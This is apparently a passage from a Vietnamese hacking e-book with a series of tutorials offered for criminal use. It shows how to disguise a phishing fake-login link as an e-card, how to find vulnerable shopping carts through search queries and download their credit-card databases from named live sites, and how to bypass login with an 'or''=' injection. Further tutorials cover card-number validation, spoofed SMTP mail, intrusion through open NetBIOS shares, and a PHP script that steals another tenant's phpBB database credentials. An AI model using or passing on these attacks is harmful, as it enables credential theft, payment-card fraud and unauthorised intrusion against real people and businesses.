nếu bạn đã làm xong việc upload những page .htm đã được sửa đổi lên host của bạn,
hãy click qua page3 để coi cách làm 1 thiệp điện tử lừa victim !
http://wWw.Hack.Cf Page 51
sau khi biết làm fake login của các webmail và rủ victim vào "chơi" để ăn trôm pw
của họ thành công rồi, thì tự nhiên có một điều nảy sinh ! đó là chẳng nhẽ mỗi lần
muốn ăn trộm pw của ai đó ( ví du: victim@ttvnonline.com ) thì lại phải chat với
victim hay send email gạ nó vào page làm sẵn trên host của mình à !
vì lý dó này mình hướng dẫn tiếp các bạn cách để chỉ cần gửi 1 ecard đến hòm thư
của victim như những ecard bình thường nhưng lừa victim vào page làm sẵn của ta !
cách làm :
vao một trang ecard bất kỳ, send 1 cái bất kỳ về hòm thư của chính bạn,ví dụ mình
có một cái thế này :
Your friend anh lan found a site that they thought you'd like. Check it
out:
http://www.riversongs.net/Flash/you.html
This free tell-a-friend service is made possible by our sponsors:
*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*
**RIVERSONGS BEARY MERRY CHRISTMAS**
http://www.riversongs.com/Flash/bmas.html
*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*
=====================================================
YOU’RE A WINNER!!
No Scams, No Kidding- Everything Is FREE!!
School Cool Barbie, Coca-Cola Monopoly, Yankees vs. Mets Chess Set,
Simpsons Wall Clock, Clue, Star Wars Monopoly, Cordless Phones,
Weight Watchers Software, Scooby Doo Gifts, Curious George Watches,
and Biker Sunglasses, all yours for FREE!!
Don’t miss out on other FREE gifts like, a Bart Simpson Lunch Box,
Batman Comic Books, James Dean glasses, and MORE!!
All gifts are FREE!!
Don’t Miss Out, Click Here While There’s Still Time:
http://www.supertaf.com/adt.php?a=7608461
=====================================================
====================================================
NEED A CAR - New or Used?
http://www.supertaf.com/adt.php?a=7608460
Good or Problem Credit - eCarCredit will can get your car and the loan
you deserve. Thousands of people across the country have purchased
http://wWw.Hack.Cf Page 52
cars and received auto loans with eCarCredit's help through our
NATIONWIDE NETWORK of auto dealers & lenders.
Don't have perfect credit? You can get a car loan with our FREE 2
minute application!
Plus our Loan Advisors HELP YOU FIND A CAR that fits your needs
from a local dealer at no extra cost.
Click here for your new car TODAY!
http://www.supertaf.com/adt.php?a=7608460
*Must be over 18, & approved for credit. Not available in TX, AL, AK,
AR,
HI.
Offer subject to change without notice. Copyright 2002 © eCarCredit.com
====================================================
----------------------------------------------------------------------
You received this email because someone visited our site and wanted to
tell you about it. To answer, simply reply to this message.
Click here if you don't want to be reached through our service:
http://supertaf.com/optout.php?email=admin()anhlan;;us
Report Abuse: http://supertaf.com/index.php?page=abuse
Got a question? http://supertaf.com/index.php?page=faq
Sender's IP address: 203.162.132.168
----------------------------------------------------------------------
giờ sửa thành thế này (dùng notepad hay front page edit link nhận ecard thành link
dẫn tới page fakelogin của các bạn - tuỳ theo victim có email thế nào mà link đến
page để sẵn fake phù hợp ):
Your friend anh lan found a site that they thought you'd like. Check it
out:
http://www.riversongs.net/Flash/you.html
This free tell-a-friend service is made possible by our sponsors:
*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*
**RIVERSONGS BEARY MERRY CHRISTMAS**
http://www.riversongs.com/Flash/bmas.html
*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*~~*
=====================================================
YOU’RE A WINNER!!
http://wWw.Hack.Cf Page 53
No Scams, No Kidding- Everything Is FREE!!
School Cool Barbie, Coca-Cola Monopoly, Yankees vs. Mets Chess Set,
Simpsons Wall Clock, Clue, Star Wars Monopoly, Cordless Phones,
Weight Watchers Software, Scooby Doo Gifts, Curious George Watches,
and Biker Sunglasses, all yours for FREE!!
Don’t miss out on other FREE gifts like, a Bart Simpson Lunch Box,
Batman Comic Books, James Dean glasses, and MORE!!
All gifts are FREE!!
Don’t Miss Out, Click Here While There’s Still Time:
http://www.supertaf.com/adt.php?a=7608461
=====================================================
====================================================
NEED A CAR - New or Used?
http://www.supertaf.com/adt.php?a=7608460
Good or Problem Credit - eCarCredit will can get your car and the loan
you deserve. Thousands of people across the country have purchased
cars and received auto loans with eCarCredit's help through our
NATIONWIDE NETWORK of auto dealers & lenders.
Don't have perfect credit? You can get a car loan with our FREE 2
minute application!
Plus our Loan Advisors HELP YOU FIND A CAR that fits your needs
from a local dealer at no extra cost.
Click here for your new car TODAY!
http://www.supertaf.com/adt.php?a=7608460
*Must be over 18, & approved for credit. Not available in TX, AL, AK,
AR,
HI.
Offer subject to change without notice. Copyright 2002 © eCarCredit.com
====================================================
----------------------------------------------------------------------
You received this email because someone visited our site and wanted to
tell you about it. To answer, simply reply to this message.
Click here if you don't want to be reached through our service:
http://supertaf.com/optout.php?email=admin()anhlan;;us
Report Abuse: http://supertaf.com/index.php?page=abuse
Got a question? http://supertaf.com/index.php?page=faq
Sender's IP address: 203.162.132.168
----------------------------------------------------------------------
sau khi edit như trên, send email này đến email của victim, victim khi mở mail,
http://wWw.Hack.Cf Page 54
nhận card sẽ thấy màn hình fakelogin và nhập user cũng như password vào
và thế là bạn chỉ cần checkmail để láy pw send về !
chúc các bạn hack vui vẻ
+++++++++++++++++++
anhlanonline@yahoo.com
Hacking Credit Card
( qua lỗi của A-CART shopping )
A-CART là một ASP shopping card (ứng dụng từ VBScript) được kết hợp từ một số
hàm của VBScript và Access database
lỗ hổng bảo mật được phát hiện bởi nick hx ngày 05/09/02 cho phép bạn có thể
download file database trong những website dùng shopping A-CARD mà không cần
phải có bất cứ một quyền hạn gì trên website đó ! choáng thật !
những thông tin trong file database rất quan trọng, nó có thể chứa nhiều thông tin
như : name, surname, address, e-mail, credit card number, and user's login-
password....
ok, bây giờ chúng ta cùng thực hành lỗi này :
đầu tiên các bạn vào http://google.com ( các bạn có thể vào các site tìm kiếm khác
như http://av.com .... ) search keyword "acart2_0" :
ok, bây giờ bạn đã thấy rất nhiều site bị mắc lỗi này:
http://wWw.Hack.Cf Page 55
do kinh nghiệm mình khuyên các bạn nên chọn những site có dạng
http://url/acart2_0/ ví dụ site http://www.coolrob.com/cart/acart2_0
okies, các bạn có tin rằng mình đownload được file mdb của nó không? không tin à?
thử gõ thêm /acart2_0.mdb vào đằng sau url trên như hình dưới coi !
ngay khi click go! các bạn thấy xuất hiện thông báo save hoặc open file mdb này !
thành công rồi đó !
nhìn màn hình download mới thích thú làm sao !
http://wWw.Hack.Cf Page 56
công việc còn lại là đọc file acart2_0.mdb này! việc này dành cho các bạn
tương tự cho những site bị lỗi này, các bạn còn chờ gì nữa mà không khám phá !
chúc hack vui ve !
+++++++++++++++++++
anhlanonline@yahoo.com
Hacking Credit Card
( qua lỗi VP-ASP Shopping Cart )
lỗi này cực kỳ nguy hiểm, bởi vì có rất nhiều sỉte shopping sủ dụng phần mềm VP-
ASP !
nếu 1 site bị lỗi này , hacker có thể
+nhìn thấy đường dẫn database/configuration
+thay đổi đương dẫn của file database/configuration
+ download file database/configuration
+đặc biệt : login như administrator của (phần mềm) VP-ASP trên site đó,
hoặc login với quyền admin vào host của site đó ( nếu chúng bị thêm lỗi SQL
injection ) với user và pw đều là 'or''=' ....
trong bài viết này mình sẽ không đi sâu vào hệ thống shopping này và những lỗ
hổng cho phép làm nhiều điều khác, mà rất đơn giản chỉ là hướng dẫn những bạn
http://wWw.Hack.Cf Page 57
nào chưa biết một con đương nhanh nhất để có thể download những file database
chứa đầy credit card trong những site mắc phải lỗi này !!
ok, chúng ta bắt đầu làm việc:
đầu tiên vào http://google.com search từ khoá "shopdisplaycategories" như hình
dưới :
các bạn sẽ thấy vô số site dùng VP-ASP shopping ! tuy nhiên nhiều site đã fix, và
công việc của các bạn là dò tìm những site chưa fix ! các bạn có thể chọn bất cứ
trang nào trong list site dùng phần mềm VP-ASP shopping :
trong bài viết này mình chọn site http://www.theqproject.com làm victim !
khi tìm thấy nó trên google click vào bạn sẽ thấy url :
http://www.theqproject.com/shopping/shopdisplaycategories.asp
url này cho biết tất cả những sản phẩm trên website shopping đó :
công việc tiếp theo là chuyển url
http://www.theqproject.com/shopping/shopdisplaycategories.asp thành url
http://www.theqproject.com/shopping/shopdbtest.asp ngiã là thay
shopdisplaycategories.asp bằng shopdbtest.asp rồi click go như hình dưới :
các bạn sẽ thấy màn hình hiển thị như sau ( chú ý: nếu đã đi được đến đây rồi thì
bạn có 70% cơ hội download được file database )
http://wWw.Hack.Cf Page 58
áp dụng công thức http:// [vp-asp site] / [ vp-asp dir] / [ xDatabase + .mdb
]
ta thấy trong ví dụ này
+ [vp-asp site] là http://www.theqproject.com
+[ vp-asp dir] là shopping
+[ xDatabase + .mdb ] là shoping.mdb
vậy ta có thể dowload database tại url
http://www.theqproject.com/shopping/shoping.mdb
như hình dưới đây :
màn hình hỏi save hay open ! wow! thành công rồi đó ! xin chúc mừng !
http://wWw.Hack.Cf Page 59
sau khi save vào máy ( đã setup sẵn microsoft-access 2000 - nằm trong bộ
microsoft-office ) file có hình như sau :
double click chuột vào file db trên các bạn sẽ thấy rất nhiều tab, thông thường những
thông tin trong tab oder là những thông tin mà chúng ta cần tìm kiếm ( cc ), click
lên tab để view :
sau khi click tab oder các bạn sẽ thấy rất nhiều thông tin, nhiều khi có cả cc !
và bây giờ khi bạn đã hiểu cách hack, những site bị lỗi trên có rất nhiều và đang chờ
bạn khám phá ! chúc hack vui vẻ
*thông tin thêm: nếu quá trình view file mdb đòi password, bạn có thể đọc bài
hướng dẫn sử dụng chương trinh PasswarePasswordRecoveryAccess để biết cách phá
passwordo thân ái và chúc thành c
http://wWw.Hack.Cf Page 60
+++++++++++++++++++
anhlanonline@yahoo.com
Hacking Credit Card
( lỗi Cart32.exe )
trong những bài trước các bạn đã được hướng dẫn rất cụ thể bằng hình ảnh, và được
thực hành ngay
chính vì vậy bài viết này là cơ hội cho bạn tìm tòi và tư duy khi không có hướng dẫn
bằng hình ảnh !
ok, chúng ta bắt đầu bàn đến lỗi này
+tìm Cart32 Sites
tìm nhứng site dạng này rất đơn giản , bạn vào google.com hoặc av.com ( đây là 2
site tìm kiếm lớn nhất thế giới ) sau đó gõ tù khoá Cart32.exe v3
site google (hay av) sẽ mang đến cho bạn tất cả các site cart32.exe với phiên bản
3.0
sau đó click vào 1 link bất kỳ mà google hay av đưa đến cho bạn
+mức độ lỗi của các phiên bản cart32.exe
version 2.5 : tất cả đều bị lỗi
version 3.0 : hầu hết đều bị lỗi
version 3.5a : bị lỗi 1 phần nhỏ
version 4.0 : gần như không bị lỗi
+cách khai thác lỗi
tuỳ thuộc vào mục đích của bạn , khi bạn đã có những site sử dụng cart32.exe
shoping bạn có thể có những "trò đùa" sau:
đầu tiên vào http://www.sitename.com/cgi-bin/cart32.exe/sitename
sau đó chọn một trong các browse sau cho từng chủ để:
Lấy Credit Cards : http://www.sitename.com/cgi-bin/cart32/sitename-ORDERS.txt
hoặc : http://www.sitename.com/cgi-bin/cart32/sitename-OUTPUT.txt
Lấy Admin Passwords : http://www.sitename.com/cgi-bin/cart32.ini
http://wWw.Hack.Cf Page 61
Lấy Clients Passwords : http://www.sitename.com/cgi-
bin/cart32.exe/cart32clientlist
Hiển Thị Các Thư Mục : http://www.sitename.com/cgi-bin/cart32.exe/error
lời khuyên : nếu bạn tìm thấy cc trong oder.txt , đừng sử dụng chúng hay cho bất kì
một ai khác ! hê hê hê ! để làm gì à? câu hỏi hay ! thế tôi lại hỏi ngược lại bạn thế
này: bạn có thích nhiều cc hay ít cc? tất nhiên là câu trả lời sẽ là thích nhiều ! thế tại
sao bạn lại không chờ đợi thêm 1 vài tuần để website đó update file oder.txt ?! lúc
nào nhiều nhiều rồi hãy cất lưới bạn à , hì hì
hiểu ý mình không? !
chào thân ái, chúc các bạn hack vui vẻ!
+++++++++++++++++++
anhlanonline@yahoo.com
hướng dẫn làm một feedback
khi làm website chắc chắn ai cũng muốn làm 1 cái feedback để những người ghé
thăm website đỡ mất thời gian vào email của họ để gửi những ý kiến đóng góp đến
cho admin ( thay vào đó chỉ cần vào feedback send mail )
ok, việc này rất dễ và ở đây mình đã làm sẵn cho các bạn 1 feedback bằng tiếng việt
!download nó ở đây
sau khi download về view file feedback.php bằng notepad và edit email
admin@anhlan.us bằng email của bạn :
các bạn có thể chỉnh sửa màu sắc hay chuyển qua front chữ tiếng anh tuỳ thích, cách
làm như sau:cũng view file feedback.php bằng notepad sau đó chỉnh sửa font và màu
sắc rồi save lại, mình nghĩ việc này rất đơn giản và các bạn chắc chắn tự làm được.
sau khi chỉnh sủa theo ý mình, các bạn upload 3 file feedback.php,style.css và
vietuni.js lên cùng 1 thư mục trên 1 website support php và hàm sendmail
http://wWw.Hack.Cf Page 62
okies, run đường dẫn và thế là xong !
chúc thành công !
+++++++++++++++++++
anhlanonline@yahoo.com
Some Link For Free Subdomains
www.freeurl.com
www.jwdx.com
www.cjb.net
www.dot.tk
www.v3.com
www.hotredirect.com
www.internetjump.com
www.explode.to
www.zdos.com
www.webalias.com
www.reduce.to
www.warping.to
www.gosurfto.com
www.2000c.net
www.shorturl.com
www.has.it
www.doze.to
www.nigx.net
www.1fx.net
www.soar.to
www.123redirect.com
www.ipfox.com
www.webweaver.nu
www.ohgo.com
www.url-redirection.org
www.aliasnames.com
www.get-2.com
www.myredirector.com
www.dot.nu
www.tr.cx
www.kickme.to
www.rapworld.com/url/
www.dk3.com
www.xiy.net
http://wWw.Hack.Cf Page 63
www.url.animeumbrella.com
www.suite.net/url.htm
www.surftohere.com
www.israd.net
www.ontheweb.nu
www.globalredirect.com
www.flash.to
www.zooming.to
www.emu.vg
www.linkworld.to
www.rename.net
www.url4life.com
www.n2v.net
www.is----ingbrillant.com
www.nethop.com
www.webmask.com
www.heroffice.com
www.crcpl.tsx.org
www.guruguru.to
www.iscool.net
www.dkanet.com
www.r67.com
www.uni.cc
www.fr.fm
www.d.bz
www.e33.de
www.de.vu
www.dd.vu
www.6x.to
www.b4.to
www.b6.to
www.h3.to
www.thx.to
www.rox.to
www.faster.as
www.hop2.de
www.tsx.to
www.tsx.org
www.bootme.to
www.2fbi.de
www.ubb.cc
www.IDz.net
http://zwap.to
http://wWw.Hack.Cf Page 64
những website thông dụng của thư viện điện tử
http://www.idealibrary.com : cung cấp khả năng truy cập tới 175 báo, tạp chí khoa
học của nhiều đại học lớn về các lĩnh vực khác nhau. Rất hữu ích cho các sinh viên và
các nhà ngiên cứu.
http://www.englishclub.com : giúp học tiếng anh theo các chủ để như Grammar,
Business, Fun, Reading, Shop, Teacher's Room. Hướng dẫn viết đơn xin việc . Liên
kêtý với các site học tiếng anh khác và 1 số phần mềm học tiếng anh.
http://www.simtel.net : thư viện điẹn tử cung cấp hàng chục ngìn phần mềm miễn
phí, thuộc nhiều lĩnh vực khác nhau, liên quan trực tiếp đến công nghệ thông tin như
tiện ích, truyền thông, đồ hoạ, ...đến các lĩnh vực khác như hoá học, thiên văn học,
sinh học, địa chất, âm nhạc...sắp sếp theo môi trường sử dụng ddos, win3x, win98...
http://www.encarta.com : website miễn phí của microsoft, là bách khoa thư về mọi
vấn đề, các bài báo về những sự kiện trên thế giới. Công cụ tìm kiếm của site này
cho phép tìm kiếm về nhiều chủ để với phạm vi toàn web.
http://worlbook.com : có chức năng tương tự như encarta, là một công cụ hữu ích
cho sinh viên khi thực hiện các ngiên cứu, viết báo cáo khoa học, biểu đồ.
Links
Chúng tôi xin trân trọng giới thiệu
Some links of vietnam
http://wWw.Hack.Cf Page 65
hack & crack
http://vieteam.com ( site tham khảo toàn diện về PC )
http://vncracking.tsx.org ( site crack lớn của việt nam )
http://phphuoc.htmedsoft.com ( site của anh Phạm Hồng Phước với khá nhiều bài
viết và phần mềm hấp dẫn )
http://end.at/acc (site về account chùa )
http://hackervn.net ( một trong những site lớn nhất về hack của việt nam )
http://viethacker.net ( một trong những site lớn nhất về hack của việt nam )
http://www.polarhome.com/~vicki ( site của nhóm vicki )
http://blackmoont.com ( một site để tham khảo về ibf, trong box invision board theo
thời gian )
http://mitdac.com ( một site cung cấp khá nhiều đồ quí hiếm, khó tìm, cập nhật )
http://binhnx2000.hypermart.net ( site của HKC )
http://hkcvn.com ( site mới của HKC )
http://toolzone.info ( một site tiếng việt về javascript )
music
http://matngoc.net ( một site thảo luận về nhóm Mắt Ngọc )
http://phihungfc.com ( một site thảo luận về Phi Hùng )
http://mytam.info ( site riêng của Mỹ Tâm )
http://ngothanhvan.com ( site riêng của Ngô Thanh Vân )
giới thiệu 1 vài website mới của các bạn vn
Some links of The Worl
hack
crack
music
http://www.rainforestmucsic-borneo.com ( tại đây bạn có thể tìm hiểu về các ca sĩ và
nhạc sĩ từ tất cả mọi nơi trên thế giới
heart
grafic
http://wWw.Hack.Cf Page 66
http://www.photos-2000.com/flowl ( chứa những bức ảnh tuyệt đẹp về các loại hoa
và bạn có thể tải về để làm ảnh nền cho chiếc PC của bạn )
http://www.sg/courtesy/index.htm ( bạn có thể tìm thấy ở đây danh mục của những
trò chơi, những cuộc thi thú vị, thậm chí có thể tải về các wallpaper hay scrensaver
đẹp mắt )
http://moonfruit.com ( cung cấp cho bạn hàng trăm kiểu website khác nhau và bạn
có thể lựa chọn tuỳ ý ---> cho phép giảm thiểu những khó khăn khi làm website của
bạn )
other
http://www.proxy2.de ( một site rất hay để tham khảo về soucre code của guestbook và
shoubox )
3 bước để kiểm tra thẻ tín dụng
5434-8434-2900-1033
Đây có phải là số card đúng không? Chúng ta hãy kiểm tra nó.
Bước 1: kiểm tra loại card
Type
Prefix
Length
MASTERCARD
http://wWw.Hack.Cf Page 67
51-55
16
VISA
4
13, 16
AMEX
34
37
15
Diners Club/
Carte Blanche
300-305
36
38
14
Discover
6011
16
enRoute
2014
2149
15
JCB
3
16
JCB
2131
1800
15
5434-8434-2900-1033 (length = 16)
Đây có thể là thẻ MasterCard - National Westminster Bank
Bước 2: kiểm tra công thức Luhn (mod 10)
- lần lượt lấy các chữ số ở vị trí lẽ nếu lenght chẵn hoặc các chữ số ở vị trí chẵn nếu
length là lẽ nhân cho 2
http://wWw.Hack.Cf Page 68
5 4 3 4 8 4 3 4 2 9 0 0 1 0 3 3
x2 x2 x2 x2 x2 x2 x2 x2
---------------------------------------
10 6 16 6 4 0 2 6
- tính tổng: (1+0) + 4 + (6) + 4 + (1+6) + 4 + (6) + 4 + (4) + 9 + (0) + 0 + (2) + 0 + (6) +
3 = 60
- lấy tổng tính được mod cho 10, nếu số dư bằng 0 nghĩa là đúng, nếu khác 0 nghĩa là sai.
60 mod 10 = 0 - Luhn Check Digit: passed.
Bước 3: kiểm tra checksum
- lần luợt lấy các chữ số ở vị trí lẽ nhân cho 2 ngoại trừ chữ số cuối cùng
5 4 3 4 8 4 3 4 2 9 0 0 1 0 3
x2 x2 x2 x2 x2 x2 x2 x2
---------------------------------------
10 6 16 6 4 0 2 6
- tính tổng(*): (1+0) + 4 + (6) + 4 + (1+6) + 4 + (6) + 4 + (4) + 9 + (0) + 0 + (2) + 0 + (6)
= 57
- tính tổng các chữ số của tổng(*)
5 + 7 = 12
- lấy kết quả trên nhân cho 10 rồi trừ cho tổng(*), sau đó mod 10, nếu số dư bằng chữ số
cuối cùng của card number nghĩa là đúng, nếu khác nghĩa là sai.
(12 x 10 - 57) % 10 = 3 - Checksum: passed.
5434-8434-2900-1033 - đây là số card hợp lí
Ví dụ 2 : 4128-674-342-188 - hợp lí
- prefix = 4, length = 13 - Valid Visa CV - Citibank
- 4221661446441168 = 60, (60 mod 10) = 0
- 814837838228 = 62, 6 + 2 = 8, (8 x 10 - 62) % 10 = 8
Tuy nhiên bạn chỉ có thể kiểm tra xem số card đúng hay sai thôi. Để sử dụng card, bạn
cần biết thêm thông tin khác về card như người sở hữu card, địa chỉ và số phone của anh
ta, ...
Công cụ hổ trợ: (http://www.elfqrin.com/DisCard.html)
http://wWw.Hack.Cf Page 69
Verify a Credit Card Number
Credit Card #
Generate a Credit Card Number
Choose Pattern
Separator:
Gửi một email nặc danh hay bomb thư :
Trên mạng Internet có rất nhiều software làm việc này nhưng tất cả đều dựa vào một
công cụ cơ bản là telnet.
http://wWw.Hack.Cf Page 70
TELNET ở đâu :
Nếu bạn dùng Windows thì chỉ cần vào start/run đánh vào telnet là bạn có
nó rồi đấy !Trong mục Terminal của Telnet bạn chọn
Preferences/Terminal Option chọn VT100
Bắt đầu :
Sau khi kết nối vào mạng, bạn vào Connect/Remote System của Telnet, ở
mục Host Type bạn đánh tên của server mà bạn muốn chuyển thư qua : Ví
dụ : mail.hn.vnn.vn , .....ở mục Port bạn chọn là 25.
Sau đó bạn đánh nội dung tương tự như sau :
HELO bellcore.com
MAIL FROM:hacker@hack.com
RCPT TO:hacker@hack.com
DATA
Nội dung thư ở đây
QUIT
OK, bây giờ bạn có thể tin tưởng rằng bức thư bạn đánh là một lá thư nặc
danh, không ai biết bạn gửi cả !
Chúc các bạn thành công.
BÀI HỌC #2
NVH (c)
Xâm nhập PC khác khi đang Online :
Thông thường một hacker trước khi xâm nhập máy tính, thường cố gắng cài một Trojan
mở cổng để xâm nhập, nổi tiếng nhất là Trojan Back orffice.
http://wWw.Hack.Cf Page 71
Bài học này sẽ chỉ cho bạn làm thế nào có thể kết nối với một máy tính cài Windows
thông qua Internet và có thể lấy thông tin của chúng.
Công cụ cần thiết :
Ðầu tiên là bạn cần là một chương trình scan gọi là Netbios scaner. Tôi
dùng Legion hoặc Winhackgold ( Download ở
http://www.hackerclub.com ). Chương trình sẽ scan tất cả các máy có mở
chia sẻ file trên cùng một netbios.
Bắt đầu :
Sau khi kết nối vào mạng, bạn vào Start/Run rồi đánh winipcfg, bạn sẽ
nhận được một địa chỉ IP mà ISP gán cho bạn mỗi khi bạn kết nối, nếu
bạn kết nối bằng Modem thì số IP này sẽ thay đổi gọi là IP động.
Trong mục SCAN FROM của Legion bạn hãy đánh địa chỉ IP của mình
vào. Ví dụ tôi có 203.160.11.48 thì tôi đánh trong Legion on là 203.160.11
thôi. Bây giờ ở mục TO của Legion bạn đánh 203.160.xx (xx là địa chỉ IP
bất kì bạn đánh vào, bạn nên đánh số gần nhất với IP của mình, tôi chọn số
12).
Bây giờ ấn nút SCAN, Legion sẽ bắt đầu scan và cho tất cả các địa chỉ IP
nó tìm thấy 1 - 254. Nếu bạn may mắn thì khi chọn một địa chỉ IP thì bạn
sẽ nhìn thấy như sau :
Shared resources at 206.11.11.42
Sharename Type Comment
----------------------------------------------
A Disk Floppy
CDRIVE Disk C: Drive
DDRIVE Disk D: Drive
CDROM Disk CD-Rom Read Only
The command was completed successfully.
Hãy click vào địa chỉ IP đó với các lệnh của USE NET bạn sẽ có quyền
kiểm soát địa chỉ IP đó.
Trong cửa sổ DOS-Promt bạn hãy sử dụng các lệnh sau:
NET USE [drive: | *] [computerdirectory [password | ?]]
[/SAVEPW:NO] [/YES] [/NO]
NET USE [port:] [computerprinter [password | ?]]
[/SAVEPW:NO] [/YES] [/NO]
NET USE drive: | computerdirectory /DELETE [/YES]
NET USE port: | computerprinter /DELETE [/YES]
NET USE * /DELETE [/YES]
NET USE drive: | * /HOME
drive Specifies the drive letter you assign to a
http://wWw.Hack.Cf Page 72
shared directory.
* Specifies the next available drive letter.
If used with /DELETE, specifies to
disconnect all of your connections.
port Specifies the parallel (LPT) port name you
assign to a shared printer.
computer Specifies the name of the computer sharing
the resource.
directory Specifies the name of the shared directory.
printer Specifies the name of the shared printer.
password Specifies the password for the shared
resource, if any.
? Specifies that you want to be prompted for the
password of the shared resource. You don't
need to use this option unless the password is
optional.
/SAVEPW:NO Specifies that the password you type
should not be saved in your password-list
file. You need to retype the password the
next time you connect to this resource.
/YES Carries out the NET USE command without
first prompting you to provide information or
confirm actions.
/DELETE Breaks the specified connection to a shared
resource.
/NO Carries out the NET USE command, responding
with NO automatically when you are prompted
to confirm actions.
/HOME Makes a connection to your HOME directory if
one is specified in your LAN Manager or
Windows NT user account.
To list all of your connections, type NET USE without
options.
To see this information one screen at a time, type the
following at the command prompt:
NET USE /? | MORE
or
NET HELP USE | MORE
Sau khi xâm nhập bạn cần lấy các thông tin của IP này ! Hãy vào những
cái có kiểu program filescutètptree.dat, mircdownload, windows*.pwl
...
Chuc các bạn thành công.
http://wWw.Hack.Cf Page 73
Hack Local Site, vd : Hack forum PhpBB :
###### Header Begin
Project Name: How to hack a localsite
Founder: Luke/Lukos
Found day: 31/08/2002
Use for Education and Experiences Only
###### Header End
Rất tình cờ, khi học PHP tôi tìm ra một cách để hack được một số Web Portal hoặc forum của
hầu hết các free hosting như lycos.co.uk vv. Và tỉ lệ thành công là 100% tuy hơi mất thời gian
Trước hết cách này gần như kiểu hack qua Local Exploit để lấy Root's passwd, cái này chắc
nhiều bạn cũng đã biết nhưng cũng khác chút ít. Vì vậy tôi cũng chỉ xin lấy một ví dụ là hack
phpBB forum để làm mẫu chung cho các kiểu Portal hay forum khác.
Bước 1. Xác định URL website cần hack.
Do đây là free hosting nên website luôn có dạng http://root/yoursite
Và giả sử forum phpBB nằm tại URL sau http://root/victim/phpBB_path/
Chú ý là phải tìm đúng URL Root chứ không phải redirect hay forward ..
Bước 2. Đăng kí một hosting cùng trên server đó.
Vì đây là free hosting nên nếu victim đăng kí được thì bạn cũng có thể đăng kí dễ dàng
Giả sử bạn đăng kí một hosting như sau http://root/mysite/
Bước 3 Xác định DB info của Victim
Điều này rất dơn giản khi bạn với victim đang cùng trên một Local
Thật vậy có thể là /home/user_root/public_html/mysite/ hay /home/user_root/httpdocs/mysite/ tuỳ
thuộc Control Panel của Server là lọai gì (Cpanel, Plesk, Enxim..). Nhưng điều này không cần
chú ý.
3.1 Bạn tạo một file để lấy DB info của victim như sau
## getdb.php begin
<?php
$fd = fopen ("../victim/phpBB_path/config.php", "r");
while (!feof ($fd)) {
$line = fgets($fd,4000);
print $line;
}
fclose ($fd);
?>
## getdb.php end
Bạn có thể thay $fd bằng đường dẫn tới bất kì file php mà bạn muốn xem mã nguồn của nó. Vì
đối với các loại Portal hoặc forum khác có thể DB Info không chứa trong file config.php như của
phpBB
3.2 Upload file getdb.php
Bạn chỉ việc upload lên hosting mà bạn vừa đăng kí http://root/mysite/getdb.php
3.3 Lấy DB info của victim
Chạy file getdb.php vừa rồi trên Browser của bạn. Bạn sẽ thấy một màn hình trắng (blank). Đừng
lo, bạn hãy "View source" và bạn sẽ thấy được các thông tin như sau :
http://wWw.Hack.Cf Page 74
## getdb.php's source begin
<?php
//
// phpBB 2.x auto-generated config file
// Do not change anything in this file!
//
$dbms = "mysql4";
$dbhost = "localhost";
$dbname = "DB name here";
$dbuser = "DB user here";
$dbpasswd = "DB passwd here";
$table_prefix = "phpbb_";
define('PHPBB_INSTALLED', true);
?>
## getdb.php's source end
Xong bước thứ 3
Bước 4. Kiểm tra mật khẩu mà bạn vừa lấy được.
Với nick Admin trong forum và tất cả những gì có thể liên quan như passwd e-mail, hosting,
domain .. Vì có thể nạn nhân dùng 1 passwd cho tất cả những mật khẩu của mình cho đỡ quên.
Đây là một trong những thói quen chết người
Nếu mà thành công thì dừng tại đây nếu không hãy sang bước thứ 5
Bước 5. Tạo một mirror phpBB forum.
5.1 Nghĩa là sao, bạn hãy upload một phpBB forum cùng phiên bản với victim vào hosting của
bạn http://root/mysite/
Và đừng Install forum này nếu bạn muốn hack nó.
5.2 Config forum vừa upload
Bạn hãy config cho forum của bạn thực sự là một mirror của victim's forum.
Điều đó có nghĩa là bạn phải link DB đến DB của victim, điều đó thật dễ dàng khi bạn đã có được
DB info của victim trong tay.
5.2.1 Tạo file config.php
Đó là toàn bộ những gì bạn vừa "view source" được :
## config.php source begin
<?php
//
// phpBB 2.x auto-generated config file
// Do not change anything in this file!
//
$dbms = "mysql4";
$dbhost = "localhost";
$dbname = "DB name here";
$dbuser = "DB user here";
$dbpasswd = "DB passwd here";
$table_prefix = "phpbb_";
define('PHPBB_INSTALLED', true);
?>
## config.php source end
5.2.2 Upload config.php
http://wWw.Hack.Cf Page 75
Bạn upload đè lên file config.php trong cái forum mới toanh mà bạn vừa upload.
http://root/mysite/config.php
5.2.3 Thử lại
Bạn thử gõ http://root/mysite/ xem, nếu mà forum của bạn có các thông số y hệt như của
http://root/victim/phpBB_path tức là bạn đã thành công bước này
Bước 6. Sửa mã nguồn Mirror Site
Mục đích bước này là bạn sẽ sửa mã nguồn forum của bạn đề bạn có thể Login vào được Admin
panel của nó. Nếu bạn học PHP thì việc này khá dễ dàng.
Tôi xin nêu ra 1 phương pháp, đó là cách crack cổ điển.
6.1 Crack cổ điển
6.1.1
Đó là khi bạn muốn crack passwd 1 file exe, bạn có thể deassebler nó ra thành file.asm bằng
nhiều chương trình hiện nay
6.1.2
Tìm các lệnh nhảy có điều kiện (JP gì gì đó. Cái này có hàng đống mà). của đoạn code dòi mật
khẩu
6.1.3
Sửa thành lệnh nhảy không điều kiên
6.1.4
Compile lại thành file exe và OK. Ta nhập bất cứ mật khẩu nào vào nó cũng chấp nhận
6.2 Sửa mã nguồn
Sửa ở file login.php và sẽ cho phép bạn Login dưới mọi nickname bằng 1 passwd chọn sẵn
6.2.1 Chọn mật khẩu chung cho toàn bộ các nick.
Thực sự các mật khẩu trong phpBB đã được mà hoá theo kiểu MD5, do đó có thể rất khó khăn
để có thể giải mã nó. Nếu các bạn hiểu rõ về kiểu encode này thì các bạn có thể tự tìm cho mình
mật khẩu thích hợp, nếu không các bạn có thể sử dụng mật khẩu đã được tôi giải mã là:
"hainam@hainam.org"
Cái địa chỉ mail của tôi ấy mà, khi mật khẩu này được mã hoá theo MD5 nó sẽ là một mật khẩu
như sau "692e2c95b693cf6fbec8ea5c40536b9e"
hainam@hainam.org => 692e2c95b693cf6fbec8ea5c40536b9e
6.2.2 Thiết lập mật khẩu chung cho toàn bộ các nick
